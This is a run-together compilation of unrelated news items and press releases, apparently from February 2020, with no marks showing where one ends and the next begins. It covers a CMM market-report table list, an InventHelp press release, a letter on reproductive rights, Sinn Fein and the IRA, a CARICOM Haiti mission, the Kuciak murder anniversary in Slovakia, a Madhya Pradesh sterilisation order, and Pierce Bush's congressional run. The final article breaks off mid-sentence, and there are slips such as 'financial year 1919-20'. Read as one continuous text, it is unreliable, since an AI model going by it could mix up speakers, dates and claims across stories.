EUROPE Market Facts & Figures European Coordinate Measuring Machines (CMM) Market: Competitor Market Share Scenario (in %) for 2020 & 2025 Table 28: European Coordinate Measuring Machines (CMM) Market Demand Scenario in US$ Thousand by Region/Country: 2018-2025 Table 29: Coordinate Measuring Machines (CMM) Market in Europe: A Historic Market Perspective in US$ Thousand by Region/Country for the Period 2009-2017 Table 30: European Coordinate Measuring Machines (CMM) Market Share Shift by Region/Country: 2009 VS 2019 VS 2025 Table 31: European Coordinate Measuring Machines (CMM) Market Estimates and Forecasts in US$ Thousand by Type: 2018-2025 Table 32: Coordinate Measuring Machines (CMM) Market in Europe in US$ Thousand by Type: A Historic Review for the Period 2009-2017 Table 33: European Coordinate Measuring Machines (CMM) Market Share Breakdown by Type: 2009 VS 2019 VS 2025 FRANCE Table 34: Coordinate Measuring Machines (CMM) Market in France by Type: Estimates and Projections in US$ Thousand for the Period 2018-2025 Table 35: French Coordinate Measuring Machines (CMM) Historic Market Scenario in US$ Thousand by Type: 2009-2017 Table 36: French Coordinate Measuring Machines (CMM) Market Share Analysis by Type: 2009 VS 2019 VS 2025 GERMANY Table 37: Coordinate Measuring Machines (CMM) Market in Germany: Recent Past, Current and Future Analysis in US$ Thousand by Type for the Period 2018-2025 Table 38: German Coordinate Measuring Machines (CMM) Historic Market Analysis in US$ Thousand by Type: 2009-2017 Table 39: German Coordinate Measuring Machines (CMM) Market Share Breakdown by Type: 2009 VS 2019 VS 2025 ITALY Table 40: Italian Coordinate Measuring Machines (CMM) Market Growth Prospects in US$ Thousand by Type for the Period 2018-2025 Table 41: Coordinate Measuring Machines (CMM) Historic Market Analysis in Italy in US$ Thousand by Type: 2009-2017 Table 42: Italian Coordinate Measuring Machines (CMM) Market by Type: Percentage Breakdown of Sales for 2009, 2019, and 2025 UNITED KINGDOM Table 43: United Kingdom Market for Coordinate Measuring Machines (CMM): Annual Sales Estimates and Projections in US$ Thousand by Type for the Period 2018-2025 Table 44: Coordinate Measuring Machines (CMM) Market in the United Kingdom: Historic Sales Analysis in US$ Thousand by Type for the Period 2009-2017 Table 45: United Kingdom Coordinate Measuring Machines (CMM) Market Share Analysis by Type: 2009 VS 2019 VS 2025 SPAIN Table 46: Spanish Coordinate Measuring Machines (CMM) Market Estimates and Forecasts in US$ Thousand by Type: 2018 to 2025 Table 47: Spanish Coordinate Measuring Machines (CMM) Historic Market Review by Type in US$ Thousand: 2009-2017 Table 48: Coordinate Measuring Machines (CMM) Market in Spain: Percentage Share Breakdown of Sales by Type for 2009, 2019, and 2025 RUSSIA Table 49: Russian Coordinate Measuring Machines (CMM) Market Estimates and Projections in US$ Thousand by Type: 2018 to 2025 Table 50: Coordinate Measuring Machines (CMM) Market in Russia by Type: A Historic Review in US$ Thousand for 2009-2017 Table 51: Russian Coordinate Measuring Machines (CMM) Market Share Breakdown by Type: 2009 VS 2019 VS 2025 REST OF EUROPE Table 52: Rest of Europe Coordinate Measuring Machines (CMM) Market Estimates and Forecasts in US$ Thousand by Type: 2018-2025 Table 53: Coordinate Measuring Machines (CMM) Market in Rest of Europe in US$ Thousand by Type: A Historic Review for the Period 2009-2017 Table 54: Rest of Europe Coordinate Measuring Machines (CMM) Market Share Breakdown by Type: 2009 VS 2019 VS 2025 ASIA-PACIFIC Table 55: Asia-Pacific Coordinate Measuring Machines (CMM) Market Estimates and Forecasts in US$ Thousand by Region/Country: 2018-2025 Table 56: Coordinate Measuring Machines (CMM) Market in Asia-Pacific: Historic Market Analysis in US$ Thousand by Region/Country for the Period 2009-2017 Table 57: Asia-Pacific Coordinate Measuring Machines (CMM) Market Share Analysis by Region/Country: 2009 VS 2019 VS 2025 Table 58: Coordinate Measuring Machines (CMM) Market in Asia-Pacific by Type: Estimates and Projections in US$ Thousand for the Period 2018-2025 Table 59: Asia-Pacific Coordinate Measuring Machines (CMM) Historic Market Scenario in US$ Thousand by Type: 2009-2017 Table 60: Asia-Pacific Coordinate Measuring Machines (CMM) Market Share Analysis by Type: 2009 VS 2019 VS 2025 AUSTRALIA Table 61: Coordinate Measuring Machines (CMM) Market in Australia: Recent Past, Current and Future Analysis in US$ Thousand by Type for the Period 2018-2025 Table 62: Australian Coordinate Measuring Machines (CMM) Historic Market Analysis in US$ Thousand by Type: 2009-2017 Table 63: Australian Coordinate Measuring Machines (CMM) Market Share Breakdown by Type: 2009 VS 2019 VS 2025 INDIA Table 64: Indian Coordinate Measuring Machines (CMM) Market Estimates and Forecasts in US$ Thousand by Type: 2018 to 2025 Table 65: Indian Coordinate Measuring Machines (CMM) Historic Market Review by Type in US$ Thousand: 2009-2017 Table 66: Coordinate Measuring Machines (CMM) Market in India: Percentage Share Breakdown of Sales by Type for 2009, 2019, and 2025 SOUTH KOREA Table 67: Coordinate Measuring Machines (CMM) Market in South Korea: Recent Past, Current and Future Analysis in US$ Thousand by Type for the Period 2018-2025 Table 68: South Korean Coordinate Measuring Machines (CMM) Historic Market Analysis in US$ Thousand by Type: 2009-2017 Table 69: Coordinate Measuring Machines (CMM) Market Share Distribution in South Korea by Type: 2009 VS 2019 VS 2025 REST OF ASIA-PACIFIC Table 70: Rest of Asia-Pacific Market for Coordinate Measuring Machines (CMM): Annual Sales Estimates and Projections in US$ Thousand by Type for the Period 2018-2025 Table 71: Coordinate Measuring Machines (CMM) Market in Rest of Asia-Pacific: Historic Sales Analysis in US$ Thousand by Type for the Period 2009-2017 Table 72: Rest of Asia-Pacific Coordinate Measuring Machines (CMM) Market Share Analysis by Type: 2009 VS 2019 VS 2025 LATIN AMERICA Table 73: Latin American Coordinate Measuring Machines (CMM) Market Trends by Region/Country in US$ Thousand: 2018-2025 Table 74: Coordinate Measuring Machines (CMM) Market in Latin America in US$ Thousand by Region/Country: A Historic Perspective for the Period 2009-2017 Table 75: Latin American Coordinate Measuring Machines (CMM) Market Percentage Breakdown of Sales by Region/Country: 2009, 2019, and 2025 Table 76: Latin American Coordinate Measuring Machines (CMM) Market Growth Prospects in US$ Thousand by Type for the Period 2018-2025 Table 77: Coordinate Measuring Machines (CMM) Historic Market Analysis in Latin America in US$ Thousand by Type: 2009-2017 Table 78: Latin American Coordinate Measuring Machines (CMM) Market by Type: Percentage Breakdown of Sales for 2009, 2019, and 2025 ARGENTINA Table 79: Argentinean Coordinate Measuring Machines (CMM) Market Estimates and Forecasts in US$ Thousand by Type: 2018-2025 Table 80: Coordinate Measuring Machines (CMM) Market in Argentina in US$ Thousand by Type: A Historic Review for the Period 2009-2017 Table 81: Argentinean Coordinate Measuring Machines (CMM) Market Share Breakdown by Type: 2009 VS 2019 VS 2025 BRAZIL Table 82: Coordinate Measuring Machines (CMM) Market in Brazil by Type: Estimates and Projections in US$ Thousand for the Period 2018-2025 Table 83: Brazilian Coordinate Measuring Machines (CMM) Historic Market Scenario in US$ Thousand by Type: 2009-2017 Table 84: Brazilian Coordinate Measuring Machines (CMM) Market Share Analysis by Type: 2009 VS 2019 VS 2025 MEXICO Table 85: Coordinate Measuring Machines (CMM) Market in Mexico: Recent Past, Current and Future Analysis in US$ Thousand by Type for the Period 2018-2025 Table 86: Mexican Coordinate Measuring Machines (CMM) Historic Market Analysis in US$ Thousand by Type: 2009-2017 Table 87: Mexican Coordinate Measuring Machines (CMM) Market Share Breakdown by Type: 2009 VS 2019 VS 2025 REST OF LATIN AMERICA Table 88: Rest of Latin America Coordinate Measuring Machines (CMM) Market Estimates and Projections in US$ Thousand by Type: 2018 to 2025 Table 89: Coordinate Measuring Machines (CMM) Market in Rest of Latin America by Type: A Historic Review in US$ Thousand for 2009-2017 Table 90: Rest of Latin America Coordinate Measuring Machines (CMM) Market Share Breakdown by Type: 2009 VS 2019 VS 2025 MIDDLE EAST Table 91: The Middle East Coordinate Measuring Machines (CMM) Market Estimates and Forecasts in US$ Thousand by Region/Country: 2018-2025 Table 92: Coordinate Measuring Machines (CMM) Market in the Middle East by Region/Country in US$ Thousand: 2009-2017 Table 93: The Middle East Coordinate Measuring Machines (CMM) Market Share Breakdown by Region/Country: 2009, 2019, and 2025 Table 94: The Middle East Coordinate Measuring Machines (CMM) Market Estimates and Forecasts in US$ Thousand by Type: 2018 to 2025 Table 95: The Middle East Coordinate Measuring Machines (CMM) Historic Market by Type in US$ Thousand: 2009-2017 Table 96: Coordinate Measuring Machines (CMM) Market in the Middle East: Percentage Share Breakdown of Sales by Type for 2009, 2019, and 2025 IRAN Table 97: Iranian Market for Coordinate Measuring Machines (CMM): Annual Sales Estimates and Projections in US$ Thousand by Type for the Period 2018-2025 Table 98: Coordinate Measuring Machines (CMM) Market in Iran: Historic Sales Analysis in US$ Thousand by Type for the Period 2009-2017 Table 99: Iranian Coordinate Measuring Machines (CMM) Market Share Analysis by Type: 2009 VS 2019 VS 2025 ISRAEL Table 100: Israeli Coordinate Measuring Machines (CMM) Market Estimates and Forecasts in US$ Thousand by Type: 2018-2025 Table 101: Coordinate Measuring Machines (CMM) Market in Israel in US$ Thousand by Type: A Historic Review for the Period 2009-2017 Table 102: Israeli Coordinate Measuring Machines (CMM) Market Share Breakdown by Type: 2009 VS 2019 VS 2025 SAUDI ARABIA Table 103: Saudi Arabian Coordinate Measuring Machines (CMM) Market Growth Prospects in US$ Thousand by Type for the Period 2018-2025 Table 104: Coordinate Measuring Machines (CMM) Historic Market Analysis in Saudi Arabia in US$ Thousand by Type: 2009-2017 Table 105: Saudi Arabian Coordinate Measuring Machines (CMM) Market by Type: Percentage Breakdown of Sales for 2009, 2019, and 2025 UNITED ARAB EMIRATES Table 106: Coordinate Measuring Machines (CMM) Market in the United Arab Emirates: Recent Past, Current and Future Analysis in US$ Thousand by Type for the Period 2018-2025 Table 107: United Arab Emirates Coordinate Measuring Machines (CMM) Historic Market Analysis in US$ Thousand by Type: 2009-2017 Table 108: Coordinate Measuring Machines (CMM) Market Share Distribution in United Arab Emirates by Type: 2009 VS 2019 VS 2025 REST OF MIDDLE EAST Table 109: Coordinate Measuring Machines (CMM) Market in Rest of Middle East: Recent Past, Current and Future Analysis in US$ Thousand by Type for the Period 2018-2025 Table 110: Rest of Middle East Coordinate Measuring Machines (CMM) Historic Market Analysis in US$ Thousand by Type: 2009-2017 Table 111: Rest of Middle East Coordinate Measuring Machines (CMM) Market Share Breakdown by Type: 2009 VS 2019 VS 2025 AFRICA Table 112: African Coordinate Measuring Machines (CMM) Market Estimates and Projections in US$ Thousand by Type: 2018 to 2025 Table 113: Coordinate Measuring Machines (CMM) Market in Africa by Type: A Historic Review in US$ Thousand for 2009-2017 Table 114: African Coordinate Measuring Machines (CMM) Market Share Breakdown by Type: 2009 VS 2019 VS 2025 IV. COMPETITION Total Companies Profiled: 58 Read the full report: https://www.reportlinker.com/p05621743/?utm_source=PRN About Reportlinker ReportLinker is an award-winning market research solution. Reportlinker finds and organizes the latest industry data so you get all the market research you need - instantly, in one place. __________________________ Contact Clare: [email protected] US: (339)-368-6001 Intl: +1 339-368-6001 SOURCE Reportlinker Related Links www.reportlinker.com Wednesday night Congresswoman Susan Wild held a town hall at the Lynnport Fire Co. in New Tripoli, where Wild and attendees discussed a range of topics from affordable healthcare to mental healthcare access, and bipartisan support in the House. During the Q&A portion of the town hall, several men voiced their support for limiting access to reproductive healthcare. A growing trend in the media and state legislature is advocating to limit access to abortion and reproductive healthcare. This anti-choice rhetoric is dangerous. Three years ago President Trump reinstated the Global Gag Rule, defunding any organization abroad that even mentions the word abortion. Whole communities have lost access to family planning and preventative healthcare (HIV/AIDS relief, ovarian cancer screenings, etc). In the Lehigh Valley, more than 3,000 constituents have signed a #Fight4HER petition asking our elected officials to endorse the Global Health, Empowerment, and Rights Act and permanently repeal the Global Gag Rule, thus reinstating desperately needed funding for healthcare organizations across the globe. Its clear the Lehigh valley supports reproductive rights at home and abroad. While Wild was confronted with various topics throughout the event, she listened to the concerns of her constituents and honored each resident with respect and dignity. The most important sentiment of the evening was that we must walk forward together. As we have seen in the Lehigh Valley, together we can build movements, international bridges, and effect change for people around the world. As a constituent, I would like to thank Wild for supporting reproductive rights. Colin Chadwick #Fight4HER Organizer Allentown PITTSBURGH, Feb. 21, 2020 /PRNewswire/ -- "As a barber, I wanted to imbue my station with a bit of my own personality," said an inventor from Dallas, Texas. "This inspired me to come up with a way to accessorize my barber chair." He developed the CHAIR HUB, patent pending, to enable individuals and companies to bring their brand to life with creativity. The accessory makes it possible to showcase one's personality. It also gives the client a "superstar" effect and brings ordinary, everyday barbershop/computer/office chairs to life. The device is usable for advertisement purposes as well. In addition, the invention is easy to install. The original design was submitted to the Dallas sales office of InventHelp. It is currently available for licensing or sale to manufacturers or marketers. For more information, write Dept. 18-DLL-3609, InventHelp, 217 Ninth Street, Pittsburgh, PA 15222, or call (412) 288-1300 ext. 1368. Learn more about InventHelp's Invention Submission Services at http://www.InventHelp.com. SOURCE InventHelp Related Links http://www.inventhelp.com Mary Lou McDonald at the Carrickdale Hotel in County Louth on Friday. Photo credit: Sinn Fein/PA Wire Sinn Fein President Mary Lou McDonald has said that IRA "does not exist" after criticism of the role the organisation plays in her party. She was speaking after the head of the Republic's police force said its view "does not differ" from the PSNI's analysis that the IRA Army Council still oversees both Sinn Fein and the remaining elements of the terror group. Asked at an event in Dundalk Mrs McDonald said that the IRA does not exist "so far as I am aware". "I don't answer for the IRA, I'm not a spokesperson for the IRA. I'm the leader of Sinn Fein and I'm telling you, the war is over," she said. The Sinn Fein leader said that she had "no contact or relationship with the IRA". "Nobody directs Sinn Fein other than Sinn Fein members and the Sinn Fein leadership," she said. "I'm the leader of Sinn Fein, I know who runs Sinn Fein." Expand Close Garda Commissioner Drew Harris (Brian Lawless/PA) / Facebook Twitter Email Whatsapp Garda Commissioner Drew Harris (Brian Lawless/PA) Commissioner Drew Harris confirmed the Garda view of the relationship between the Provisional Army Council, the IRA and Sinn Fein at a passing out ceremony for new officers at the Garda College in Templemore, Co Tipperary. "I am aware of the PSNI and British security services assessment and we do not differ from that view," Mr Harris said. It comes as Taoiseach Leo Varadkar called on Sinn Fein leader Mary Lou McDonald to publicly state if her party has cut links with the IRA Provisional Army Council. He tweeted: "Why doesn't McDonald disband the Army Council and the PIRA or if she cannot, repudiate them and sever all links and do so publicly and unequivocally?" A 2015 report commissioned by the UK Government on the status of Irish terrorist groups concluded that the Provisional Army Council still existed, as did the Provisional IRA, though in a smaller form and committed to the peace process. The report was written by the PSNI and MI5 and stated the Provisional Army Council still strategically oversaw both the IRA and Sinn Fein. In November 2019, the PSNI reiterated its view that the Army Council retains oversight of Sinn Fein and that there had been no changes in their 2015 assessment. Police issued the clarification following concern that the latest report from the paramilitary monitoring body the Independent Review Commission (IRC) did not mention the continuing influence of republican terror groups, including the Provisional IRA and the INLA. Speaking at the time, Sinn Fein MP Mickey Brady rejected the PSNI assessment. "The IRA is gone and not coming back," he said. On Friday morning, Mr Harris said: "On national security matters and matters around the security of the State, its my obligation to report those into the Government, as you would expect me to do in the first place. "Also then, we have contributed to the IRC (Independent Reporting Commission) reporting on the status of various paramilitary groups. And we would hold then with their opinion on these matters." A Sinn Fein spokesperson said: "It will not be lost on people that this nonsense is again being repeated." The Ulster Unionist Partys Justice Spokesperson Doug Beattie called for political parties in the Republic to give careful consideration to the comments. He said: "Todays comments [...] will come as a reminder to the people of the Republic that the IRA has not gone away. "Two weeks ago 25 per cent of people in the Republic voted for a party whose policy is reported to be directed by an unelected cabal, the IRA Army Council. Many of those who voted for Sinn Fein may have been well aware of that, but it might come as news to others. "They should also remember that the IRA murdered police officers, prison officers, soldiers and civilians on both sides of the Irish border. The Army Council that directed them still exists and now directs Sinn Feins political strategy. "A 2015 report concluded that the IRA Army Council still existed. It is shocking that nothing has changed since." Haiti - Crisis : CARICOM will send a fact-finding mission to Haiti At the 31st Intersessional Meeting of the Conference of Heads of State and Government of the Caribbean Community (CARICOM) held in Bridgetown (Barbados) which ended on Wednesday, CARICOM members agreed to send a fact-finding mission to Haiti in order to find a solution to the socio-political unrest that Haiti is going through. The mission, which is expected to visit Haiti during the first week of March, will be led by Ambassador Irwin LaRocque, Secretary General of CARICOM, and will include representatives from the Bahamas, Jamaica and Barbados. Recall that during the 40th ordinary meeting of the Conference of Heads of Government in July 2019 CARICOM had agreed that a delegation of Prime Ministers would go to Haiti, but this never materialized and that is why the Prime Minister of Dominica, Roosevelt Skerrit, said it was important for the region to send a fact-finding mission to Haiti"It is felt that if we do not help address the domestic issue confronting Haiti we will continue to have tremendous negative impacts on countries like the Turks and Caicos and the Bahamas who are seeing a large number of migrants coming into these countries [illegaly] and creating some domestic challenges for them [...] we need to work with the various stakeholders in Haiti to find some kind of lasting solution to the current impasse" He also warned that CARICOM cannot afford to neglect its duty to Port-au-Prince "[...] we must not appear on any way to have, what has become in many parts of the world, Haiti fatigue. We recognise that Haiti is part of the community and we have a responsibility and a duty and obligation to assist a member state in unravelling its challenges and to work with (it) towards lasting solutions." However, Skerrit recognized that finding a solution to the current impasse will not solve the country's problems and that there is a need to engage with Haiti and the international community to meet social and economic challenges. At the same time, CARICOM President Mia Mottley the Prime Minister of Barbados recognizes that the situation in Haiti is complex, but that it could be resolved by declaring to the media "The first step is for us to have the legitimacy and the integrity of facts that we can rely upon, and that therein after we then work with the relevant players to see how best we can work with Haiti to ensure that they dont face instability within their boundaries, and as a result there are no negative consequences [for other member countries of the community] [...] Difficult conversations are not often welcome but they are at the end of the day what are necessary in order to be able to gain progress and move forward [...]" adding that regional leaders are expected to meet in three weeks for the CARICOM summit in Mexico, when they hope to have the results of the mission. See also : https://www.haitilibre.com/en/news-28145-haiti-caricom-the-single-market-venezuela-and-haiti-on-the-agenda-of-the-40th-meeting.html SL/ HaitiLibre Thousands mark the second anniversary of the murder of journalist Jan Kuciak and his fiancee Martina Kusnirova. Bratislava, Slovakia Several thousand people gathered in central Bratislava on Friday evening to mark the second anniversary of the brutal murder of Jan Kuciak. The shooting of the journalist was a watershed for Slovakia one that is now playing out ahead of elections on February 29. It was a sombre crowd, estimated at around 8,000, that filled Namestie Slobody (Freedom Square) in the Slovak capital to honour Kuciak and his fiance, Martina Kusnirova, who were gunned down in their home on a cold February night. The assassination stunned Slovakia, and alerted a slumbering liberal cohort to the dangers stalking the country. We want to commemorate what Jan and Martina meant for Slovak society, says Eva Lavrikova from Za Slusne Slovensko (For A Decent Slovakia), the civil society movement organising the gathering. It was not a tragedy for them only, but for all of us. It showed that things were much worse than we ever thought. This solemnity pervaded the quiet here. No flags waved in the winds gusting around the square; few placards were raised. Monks led prayers before Kuciaks parents and Kusnirovas mother appeared on stage, all visibly shaking. But anger and determination were also present here, as speakers called for justice to be served upon the politicians and shady business figures widely blamed for leading Slovakia to the brink. Similar events remembering Kuciak were held in more than 60 cities across Slovakia and internationally. Im here to commemorate Jan and Martina, but also to say enough is enough, said Jana, a 28-year-old accountant standing in the crowd with her young son. Mafia state As a special court opened on January 13 to tackle Slovakias highest-profile case in the 30 years since communism fell, Miroslav Marcek admitted he had pulled the trigger. He and three others are on trial, while a fifth man cooperated with police after he was arrested and was sentenced to 15 years for his part in the killings. I am guilty, Marcek, a 37-year-old former soldier, told the court. I knocked on the door, Mr Kuciak opened, I shot him in the chest. Kusnirova, he lamented, was not supposed to be there. On trial, businessman Marian Kocner denies ordering the hit. But Kuciak was in the midst of investigating a scam involving European Union funds in the east of the country that allegedly linked the powerful oligarch to Italys notorious Ndrangheta mafia clan, and also to the office of the prime minister himself, via a young and glamorous assistant. The trial has shown just how deeply Kocner has become involved in the countrys power structures, leading to claims from the opposition that Slovakia has become a mafia state, in which democracy and the rule of law have been replaced by corruption and cronyism. Found in Kocners safe was a cache of videos taken by a camera apparently hidden in the office of the state prosecutor, shown in other files to have been friendly to the oligarch. Other information from the investigation suggests Kocner bribed judges and had access to high-level police files. Fridays crowd on Namestie Slobody, along with the opposition and much of the media, lays the blame at the feet of Smer, the populist, nominally centre-left, party that has dominated Slovak politics for most of the past decade and a half. Smer did nothing to reform the institutions to deal with this criminality, says Pavel Sibyla from Progresivne Slovakia (PS), a liberal party founded in the wake of the murder. Rather it has allowed deep-rooted corruption to thrive. PS is part of a disparate grouping of democratic opposition parties that hope the trial and the anniversary of the murder will help them unseat Smer, which has ruled for 12 of the last 14 years, at next weeks election. But nationalists, populists, and even neo-Nazis also hope to take advantage. The upcoming poll is seen as crucial to the future of Slovakia, a member of the EU and NATO. This really is a vital election, says Sona Szomolanyi at Bratislavas Comenius University. It will determine the direction of Slovakia for years to come. The danger is that, should the current ruling parties remain [in power], well end up with a similar scenario to Hungary, which has become an illiberal system. Seismic shock The mood on the square stood in stark contrast to the anger that exploded onto the streets in huge rallies at the time of the murder two years ago. The wave of rage was so strong it swept Robert Fico, Smers strongman leader, from the prime ministers chair. Around a year later, it carried Zuzana Caputova, a 45-year-old political activist and PS founder, to the presidency. However, the Smer-led coalition managed to cling on. But the ruling party, which in 2012 formed Slovakias only single-party government to date, has now seen support plummet to around 17 percent. That would likely leave it reliant on smaller nationalist and far-right parties to try to form a government. That frames the election as a straight fight between these authoritarian forces and a vaguely defined democratic bloc of as many as six centrist parties, featuring populist eurosceptics and libertarians, conservative Christian democrats, and classic liberals. Thousands took to central Bratislava in a protest vigil on Friday night to mark the second anniversary of the murder of investigative reporter Jan Kuciak and his fiancee Martina Kusnirova, one week ahead of the countrys parliamentary election [David W Cerny/Reuters] The evidence heard during the trial appears to support media reports that stunned Slovakia last year, after encrypted messages on Kocners phone were reportedly deciphered by police and allegedly leaked to journalists. The public was chilled last year to read reports that the oligarch sent jokes about the murder to associates, and his indictment says that, after failing to dig up any dirt on the journalist whom he had under surveillance Kocner wanted to get rid of Kuciak to prevent further disclosure of his activities. The purportedly leaked messages also suggest Kocner met frequently with Fico, as well as with other members of the government and political parties. Suspicions of corruption also linger around senior police officials, judges and prosecutors, and the security services. The interior minister and the countrys top police chief are just some of the officials who have been ousted from their jobs, as Smer has desperately sought to douse the flames of scandal. The party has defeated previous corruption allegations over the past 15 years, but now looks unlikely to overcome the scale of outrage sparked by emerging evidence of the capture of the state by organised crime. The demands for the country to chart a new course are so strong that even the incumbent is campaigning under a slogan of responsible change. The murder was a game-changer, says Peter Kmec, a policy adviser to Prime Minister Peter Pelligrini, who succeeded his mentor Fico when he was forced to step down. Slovak society has changed, and so we must also. 191114144625235 First step The polls suggest that, despite the likelihood Smer will still take the most votes, the combined opposition groups are likely to scrape across the threshold required to get a chance to hammer together a coalition. However, other forces are lurking, hoping to take advantage of the deep fissure that has been torn open in Slovak society. Marian Kotleba, leader of the neo-Nazi Peoples Party Our Slovakia (LSNS), has ditched his habit of marching around in black uniforms, and his promises to Slovaks left behind by capitalism and globalisation to tear down the corrupt system has him in third place, with around 10 percent support in recent polls. PS warns that Smer could work with LSNS to keep itself in government, and has organised high-profile counter-demonstrations around the country at the fascist partys campaign events. However, Kmec insists his party has ruled out any cooperation with Kotleba. Milan Nic, at the German Council on Foreign Relations, says the Kuciak murder has turbo-boosted political developments in Slovakia. At this election, he suggests, the country will take the first step in what is likely to be a regional trend, as a new generation of democrats take on the populists who have come to dominate in Central Europe. Yet there are risks. The highly fragmented political field means that up to six parties could be needed to form a majority for the opposition. If putting together a functioning coalition will be hard, cleaning up a system riddled with corruption is likely to prove a monumental, and slow-moving, task. And should they fail, there are neo-Nazis waiting to take over. The under-fire Madhya Pradesh (MP) government on Friday revoked the order that earlier sought to penalise 3,850 multi-purpose health workers (MPHWs) with no work, no pay and be given compulsory retirement if they failed to achieve male sterilisation target. The order related to male sterilisation has been cancelled with immediate effect, MP health minister Tulsi Silawat told mediapersons. A controversy erupted following the National Health Missions (NHM) February 11 order that warned MPHWs of dire consequences as only 4% of the target could be achieved until January 30 in the current financial year. Though MPs male sterilisation target was 60,000, only 2,514 men have been sterilised in the entire state. Data shows that seven of the 52 districts have reported in three digits and an equal number of districts in single digits. The opposition, the Bharatiya Janata Party (BJP), was quick to corner the Kamal Nath-led government, invoking the order as a flashback to the Emergency. Madhya Pradesh is in the middle of an undeclared Emergency. Is this Congresss Emergency 2.0? If MPHWs performance was below par, the government should take action but withholding their salaries and threatening compulsory retirement is nothing short of a dictatorship, said Shivraj Singh Chouhan, national vice-president, BJP. Narendra Saluja, MP Congress presidents media coordinator, tried to downplay the row. The NHM routinely issues such orders for creating awareness among people. There was no target fixed for MPHWs, he said, The MP health officials justified the order and argued that the circular didnt mention adopting any coercive measures for sterilisation. They insisted that the order was only aimed at the MPHWs in a bid to remind them of their duties amid the declining trend of male sterilisation over the past five years. Earlier on February 11, NHM director, Chhavi Bhardwaj, had ordered mobilisation of 5-10 beneficiaries of sterilisation by each MPHW in district sterilisation centres. Her order said, all such MPHWs should be identified who have failed to mobilise a single male in the entire financial year 1919-20. In view of their zero work-output, their salaries should be withheld on a no work, no pay basis until they mobilise at least one person for sterilisation. Bhardwajs order appears to have let her being shunted out to the state secretariat as an officer on special duty (OSD). Her transfer was confirmed by MP National Health Mission (NHM) chief secretary SR Mohanty, Friday evening. Currently, Bhardwaj is undergoing a training programme. The officials in the Union ministry of health said that there was no practice of setting targets in line with the family planning programme, which was launched in 1952 to curb population growth. There are no targets or incentives; adopting family planning measures is purely on a voluntary basis, said a senior health ministry official requesting anonymity. Lauren Bush Lauren headed town to Texas this week to campaign for her brother Pierce Bush, who is running for congress in Texas. Pierce, the 33-year-old grandson of former President George H.W. Bush and nephew of former President W. Bush, announced in December that her would seek to replace the departing Republican incumbent Pete Olson in the 22nd Congressional District and signaled his support for President Donald Trump and his policies. Lauren, 35, backed Hillary Clinton in the 2016 presidential race but put her family first this week when she and mother Sharon Bush helped work on Pierce's campaign. Family affair: Lauren Bush Lauren headed town to Texas this week to campaign for her brother Pierce Bush, who is running for congress in Texas Showing support: She and her mother Sharon campaigned together in Houston 'From poll greeting to making phone calls it has been fun to see democracy at work the past few days!' she said Lauren shared several photos from the visit on Thursday, including a shot of her and mom Sharon posing in matching 'Pierce Bush for Congress' T-shirts. 'Proud of my brother Pierce and his race for Congress to represent the 22nd district of TX,' she wrote. 'From poll greeting to making phone calls it has been fun to see democracy at work the past few days! And it has been a wonderful reminder that every vote really does count.' She also shared a snap of Sharon doing paperwork in the campaign office, and another of Pierce hunkering down at his laptop. Sharon shared a few photos as well, including snaps of her and Lauren campaigning outside early voting locations in Houston ahead of the March 3 primary. They're shown holding up campaign signs with Lauren's two sons, four-year-old James and one-year-old Max, in tow. At odds: Lauren is campaigning for her brother, who said he supports President Trump even though she voted for Clinton in 2016 Lending a hand: She shared a photo of her mother busy in the campaign office Pierce had said: 'When you look at the alternative first of all, how can you be anything but a supporter of the president's policies?' Lauren's move to throw her support behind her brother comes despite some seeming ideological differences. When Pierce announced that he would seek the Republican nomination, he aligned himself with President Trump. 'When you look at the alternative first of all, how can you be anything but a supporter of the president's policies?' he said in an interview with the AP. 'I look forward to being a partner in Washington, and speaking of course with my own voice, but supporting the president's agenda.' In a video announcement, he also decried philosophies being espoused by leading Democrats. 'We face a very challenging time in our nation. And we're on the brink of losing a generation to an idea that socialism and free stuff are the answers for their future. But we all know that socialism has failed everywhere and everyone,' he said. 'It's time for new leaders to stand for conservatism that empowers all Americans.' Private: Lauren is much less politically outspoken than most of her family (left to right: Lauren's husband David Lauren, Lauren, Pierce, sister Ashley, and Ashley's husband Julian LeFevre) But Lauren sways in the other political direction, and in the 2016 election, she backed former Secretary of State Hillary Clinton. In October of that year, she took to Instagram to post a photo of Clinton, captioning it: #ImWithHer. The public endorsement was an especially big deal for Lauren, who, unlike most of her political dynasty family, isn't outspoken about politics. Back in 2008, she hinted that she might be voting blue, but refused to confirm either way. 'I think this election is very exciting,' she told The Cut, while Clinton and Obama were still going head-to-head in the primaries. 'I mean, to have a woman and a black man as leading candidates is pretty amazing, and its about time.' When pressed on whether she'd vote Democrat, she demurred, saying: 'Im going to vote for the candidate Im not going to vote for someone you know you have to look at the whole picture. 'My family isnt Yeah, Id say my vote is in the air. I dont want to talk about it.' Split: Pierce's grandfather, former President George H.W. Bush, called Trump a 'blowhard' and voted for Clinton in 2016 (pictured with Pierce's wife Sara Beth) Dynasty: The 33-year-old is following in his grandpa's footsteps, though he seems to disagree with the late president on some issues Her family, though, very much did talk about the 2016 election with her grandfather, former President George H.W. Bush, voting for Clinton and calling Trump a 'blowhard.' 'I don't like him. I don't know much about him, but I know he's a blowhard. And I'm not too excited about him being a leader,' he said. Meanwhile, his son, President George W. Bush, didn't vote for either Trump or Clinton but instead left that part of the ballot blank and also had some words for Trump. 'This guy doesn't know what it means to be president,' he said, according to the book The Last Republicans. 'You can either exploit the anger, incite it, or you can come up with ideas to deal with it,' he added, seemingly indicating that Trump does the first two things but not the latter. But Pierce said that his own families politics don't matter, and that he's focused on what locals believe. Pierce is pictured with his wife Sara Beth, late grandmother Barbara, and uncle Jed whom Trump openly mocked in the 2016 election Pierce's uncle George W. Bush didn't vote for any candidate for president in 2016, but said of Trump: 'This guy doesn't know what it means to be president' 'This is not about my family. This is about the families of the 22nd Congressional District,' he said. His first run for office won't be easy. Bush joins one of the nation's most crowded congressional races of 2020 in his bid to replace Republican Rep. Pete Olson, who is retiring from his suburban Houston district that Democrats nearly flipped last year and are aggressively targeting again. At least one of of Bush's rivals in the race considered him unwelcome. Greg Hill, a former Border Patrol agent who is also running as a Republican, expressed respect for the Bush family in a statement but said he had 'strong doubts about any candidate who would try to parachute into our district and buy this seat.' Pierce, whose father is Neil Bush, has spent the past three years as chief executive of the nonprofit Big Brothers Big Sisters in Texas. He made no mention of Trump in his announcement video and launched his campaign website with only a short biography and no positions on issues or policies. Pierce, whose father is Neil Bush, has spent the past three years as chief executive of the nonprofit Big Brothers Big Sisters in Texas But Pierce told AP the impeachment hearings that at the time were still unfolding against Trump in Congress were a distraction, and he did not directly answer when asked whether he believed Trump had done anything improper. 'It's an attack-at-all-costs 